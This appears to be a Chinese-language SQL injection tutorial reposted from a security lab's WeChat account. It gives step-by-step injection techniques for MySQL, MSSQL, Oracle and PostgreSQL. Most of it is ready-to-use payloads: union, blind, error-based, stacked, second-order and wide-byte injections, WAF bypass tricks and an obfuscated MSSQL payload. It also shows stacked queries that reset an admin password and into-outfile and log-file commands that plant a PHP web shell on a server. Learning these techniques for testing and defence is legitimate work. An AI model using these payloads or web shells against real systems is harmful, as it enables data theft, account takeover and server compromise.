SQL注入原理
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
SQL注入思路
1.判断注入点
在GET
参数、POST
参数、Cookie
、Referer
、XFF
、UA
等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。
2.判断数据库类型
判断网站使用的是哪个数据库,常见数据库如:MySQL
、MSSQL
(即SQL server
)、Oracle
、PostgreSQL
、等等
常用判断方法:
-
使用数据库特有的函数来判断
Mysql
使用@@version
或者VERSION()
查看版本信息PostgreSQL
使用version()
Oracle
使用v$version
Mssql
使用@@VERSION
-
使用数据库专属符号来判断,如注释符号、多语句查询符等等
“ # ”是
MySQL
中的注释符,如果返回错误,说明该注入点可能不是MySQL
,另外也支持’-- ',和/* */注释。“ -- ”是
Oracle
和MSSQL
支持的注释符,如果返回正常,则说明为这两种数据库类型之一。“ ; ”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
-
报错信息判断
ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
SQL server
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x
-
通过端口判断
Oracle
:1521SQL server
:1633Mysql
:3306PostgreSql
:5432 -
数据库特有表判断
Mysql
id=1 and (select count(*) from information_schema.tables)>0 and 1=1
SQL server
id=1 and (select count(*) from sysobjects)>0 and 1=1
oracle
id=1 and (select count(*) from sys.user_tables)>0 and 1=1
PostgreSql
id=1 and (select count(*) from pg_tables)>0 and 1=1
3.判断注入类型
-
判断是数字型还是字符型:
通过?id=1 and 1=2判断,如果显示不正常,说明是数字型,如果显示正常,就是字符串型,就需要进行下面的步骤继续判断。
-
判断是什么符号的字符型:
单引号测试:通过?id=1'观察回显
双引号测试:通过?id=1"观察回显
-
判断出字符型(即闭合符号):
如果哪个符号回显是报错信息,则表示是哪个符号的字符型,接着使用对应符号闭合之后进行SQL注入即可
4.判断注入方式
1. 联合注入
对于有回显的情况来说,通常使用联合查询注入法,其作用就是,在原来查询条件的基础上,通过关键字union
,union all
,从而拼接恶意SQL语句,union
后面的select
得到的结果将拼接到前个select
的结果的后面
若回显仅支持一行数据的话,让 union
前边正常的查询语句返回的结果为空使用union select进行拼接时,注意前后两个select语句的返回的字段数必须相同,否则无法拼接
union
,union all
区别
-
union
: 对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序 -
union all
: 对两个结果集进行并集操作,包括重复行,不进行排序;
order by 判断列数?id=1' order by 4--+database() 查看库名?id=0' union select 1,2,3,database()--+爆表名?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+爆字段?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+查看字段数据?id=0' union select 1,2,3,group_concat(password) from users --+
2. 布尔盲注
通过页面对永真条件,or 1=1
与 永假条件,and 1=2
返回的内容是否存在差异,进行判断是否可以进行布尔盲注。通常返回存在/不存在两个结果,就可以判断是否存在布尔盲注
常用函数
-
substr(str,from,length)
:返回从下标为from截取长度为length的str子串。其中,首字符下标为1 -
length(str)
:返回str串长度
判断库名长度?id=1 and length(database())=1......爆库名,一个字母一个字母的爆?id=1 and substr(database(),1,1)=‘a’......爆表的数量?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2......根据库名和表的数量,爆表名长度第一张表?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4第二张表?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4......根据表名长度爆表名?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’........根据表名,爆列的长度?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=2......根据表名和列数量爆列名长度第一列?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4第二列?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1)=4......根据列名长度爆列名?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’......根据列名爆数据?id=1 and substr((select flag from sqli.flag),1,1)=“c”......
3. 时间盲注
将布尔注入的语句,放入下面判断语句中,如果返回正确则会执行 sleep 延时,否则不会延时
利用延时来判断长度,字符,和布尔盲注相似,一点一点将数据爆出来
if(判断语句,x,y)如果判断语句正确则输出X,否则输出Ysleep(X)函数,延迟X秒后回显if(1=1,1,sleep(1))即输出一if(1=2,1,sleep(1))即延迟一秒后回显
4. 报错注入
服务器开启报错信息返回,也就是发生错误时返回报错信息,通过特殊函数的错误使用使其参数被页面输出。
-
报错函数通常有最长报错输出的限制,面对这种情况,可以进行分割输出。 -
特殊函数的特殊参数运行一个字段、一行数据的返回,使用group_concat等函数聚合数据即可。
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
其他可替换的报错函数
1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));4.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));5.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));6.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));7.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));8.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));9.exp()select * from test where id=1 and exp(~(select * from(select user())a));10.gtid_subset()select * from test where id=1 and gtid_subset(user(),1)
5. 堆叠注入
就是一堆sql语句(多条)一起执行。在mysql中每一条语句结尾加 ; 表示语句结束。
而 union(联合注入)也是将两条语句合并在一起,两者之间的区别区别就在于 union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
?id=1';insert into users(username,password)values('ikun','jinitaimei')--+?id=1';UPDATE users SET passwd="New_Pass" WHERE users='admin'
注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面。建议使用union联合注入,若无法使用联合注入,可考虑使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名 。
6. 二次注入
二次注入就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题。
登录部分源码如下
$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
可以看到使用了mysql_real_escape_string 进行转义处理,无法进行SQL注入。
注册新用户过程源码
if (isset($_POST['submit'])){$username= mysql_escape_string($_POST['username']) ;$pass= mysql_escape_string($_POST['password']);$re_pass= mysql_escape_string($_POST['re_password']);echo "<font size='3' color='#FFFF00'>";$sql = "select count(*) from users where username='$username'";$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);//print_r($row);if (!$row[0]== 0){?><script>alert("The username Already exists, Please choose a different username ")</script>;<?phpheader('refresh:1, url=new_user.php');}else{if ($pass==$re_pass){# Building up the query........$sql = "insert into users ( username, password) values("$username", "$pass")";mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());echo "</br>";
可以选择注册一个 用户名为 admin'# 的新用户,虽然 使用 mysql_escape_string 进行了转义,但是存在数据库中的数据还是 admin'#
修改密码源码
if (isset($_POST['submit'])){ # Validating the user input........ $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); echo '<font size="3" color="#FFFF00">'; echo '<center>'; if($row==1) { echo "Password successfully updated"; } else { header('Location: failed.php'); //echo 'You tried to be smart, Try harder!!!! :( '; } } else { echo '<font size="5" color="#FFFF00"><center>'; echo "Make sure New Password and Retype Password fields have same value"; header('refresh:2, url=index.php'); }}
登录 admin'# 进行修改密码为123456,则会执行以下语句
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'
#
将后面的 ' and password='$curr_pass'
给注释掉,就相当于执行了
UPDATE users SET PASSWORD='123456' where username='admin'
将 admin 账户的密码 修改为123456
7.宽字节注入
使用了 GBK 编码会认为两个字符为一个汉字,所以可以使用一些字符和转义过后多出来的 组合两个字符,使得数据库不识别字符,对单引号、双引号的转义失败。形成过程:当 PHP 连接 MYSQL 时,当设置character_set_client = gbk 时会导致GBK编码转换的问题,当注入的参数里带有%df(%bf)
时,在魔术引号开关或者 addslashes() 函数的作用下,会将%df%27
转换为%df%5c%27
,此时%df%5c
在会解析成一个汉字,从而“吃掉”反斜杠,单引号因此逃逸出来闭合语句 根本原因 character_set_client(客户端字符集)和 character_set_connection(连接层的字符集)不同,或转换函数如iconv,mb_convert_encoding使用不当
addslashes
函数将会把接收到的id的字符进行转义处理。如:
-
字符 '
、"
、、NULL前边会被添加上一条反斜杠作为转义字符 -
多个空格被过滤成一个空格
当id的字符串被转义之后,就会出现如下所示的SQL语义(查询id'#的数据)
select * fromuserswhereid = '1'#';
payload 1
?id=1%df%27 and 1=1 %23拼接后的sql语句SELECT * FROM users WHERE id='1�' and 1=1-- ' LIMIT 0,1
payload 2
为了避免漏洞,网站一般会设置UTF-8编码,然后进行转义过滤。但是由于一些不经意的字符集转换,又会导致漏洞 使用set name UTF-8指定了utf-8字符集,并且也使用转义函数进行转义。有时候,为了避免乱码,会将一些用户提交的GBK字符使用iconv()函数先转为UTF-8,然后再拼接SQL语句
?id=1%e5%5c%27 and 1=1 --+
%e5%5c
是gbk编码,转换为UTF-8编码是%e9%8c%a6
%e5%5c%27
首先从gbk编码经过addslashes函数之后变成%e5%5c%5c%5c%27
,再通过iconv()将其转换为UTF-8编码,%e9%8c%a6%5c%5c%27
,其中%e9%8c%a6
是汉字,%5c%5c%27
解码之后是\'
第一个将第二个转义,使得%27单引号逃逸,成功闭合语句
8.文件读/写
前提:
1. 数据库权限为 dba
2. 知道绝对路径
3. secure_file_priv 值为空
查询权限select file_priv from mysql.user where user=$USER host=$HOST;查看当前 secure_file_priv 的值select @@secure_file_priv;select @@global.secure_file_priv;show variables like "secure_file_priv";
读取文件:
select load_file(file_path); -- file_path为绝对路径
写入文件:
select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';
日志包含:
由于mysql在5.5.53版本之后,secure-file-priv的值默认为NULL,这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。mysql日志文件的一些相关设置可以直接通过命令来进行:
//请求日志mysql> set global general_log_file = '/var/www/html/1.php';mysql> set global general_log = on;//慢查询日志mysql> set global slow_query_log_file='/var/www/html/2.php'mysql> set global slow_query_log=1;//还有其他很多日志都可以进行利用...
waf 绕过方式
-
空格绕过
两个空格代替一个空格,用Tab代替空格,%a0=空格:
%20%09%0a %0b %0c %0d %a0/**/
-
括号绕过空格
如果空格被过滤,括号没有被过滤,可以用括号绕过。
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。
-
引号绕过(十六进制)
select column_name from information_schema.tables where table_name="users"
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
-
逗号绕过
-
limit 使用 from 或者 offset
select * from news limit 1 offset 0等价于select * from news limit 0,1
-
substring 绕过逗号
select substring('hello' from 2);返回 elloselect user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114);
-
join 绕过逗号
select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
-
< > 符号绕过
greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。
select * from users where id=1 and ascii(substr(database(),0,1))>64select * from users whereid=1 and greatest(ascii(substr(database(),0,1)),64)=64
-
= 使用 like 绕过
-
等价函数绕过
hex() ==> bin() ==> ascii()
sleep() ==> benchmark()
concat() ==> concat_ws() ==> group_concat()
mid() ==> substring() ==> substr()
其他
svids=-1);DECLARE @@proc_name VARCHAR(301);Set @@proc_name=Char(115)%2bChar(101)%2bChar(108)%2bChar(101)%2bChar(99)%2bChar(116)%2bChar(32)%2bChar(49)%2bChar(32)%2bChar(119)%2bChar(104)%2bChar(101)%2bChar(114)%2bChar(101)%2bChar(32)%2bChar(49)%2bChar(61)%2bChar(49)%2bChar(32)%2bChar(87)%2bChar(65)%2bChar(73)%2bChar(84)%2bChar(70)%2bChar(79)%2bChar(82)%2bChar(32)%2bChar(68)%2bChar(69)%2bChar(76)%2bChar(65)%2bChar(89)%2bChar(32)%2bChar(39)%2bChar(48)%2bChar(58)%2bChar(48)%2bChar(58)%2bChar(53)%2bChar(39);EXECUTE (@@proc_name);--a+
解释一下这段payload
DECLARE @@proc_name VARCHAR(301);
声明一个名为@@proc_name的变量,类型为VARCHAR,最多存储301个字符
通过CHAR()函数将ASCII码转换为对应的字符,并将这些字符拼接成一个字符串。最终字符串如下
select 1 where 1=1 WAITFOR DELAY '00:00:05'
EXECUTE (@@proc_name); 将构建好的字符串作为命令执行。
参考文章链接:
https://blog.csdn.net/devil8123665/article/details/108746947https://blog.csdn.net/MachineGunJoe/article/details/116267692https://blog.csdn.net/fly_enum/article/details/135307756https://byaaronluo.github.io/
原文始发于微信公众号(无尽藏攻防实验室):SQL注入手工测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论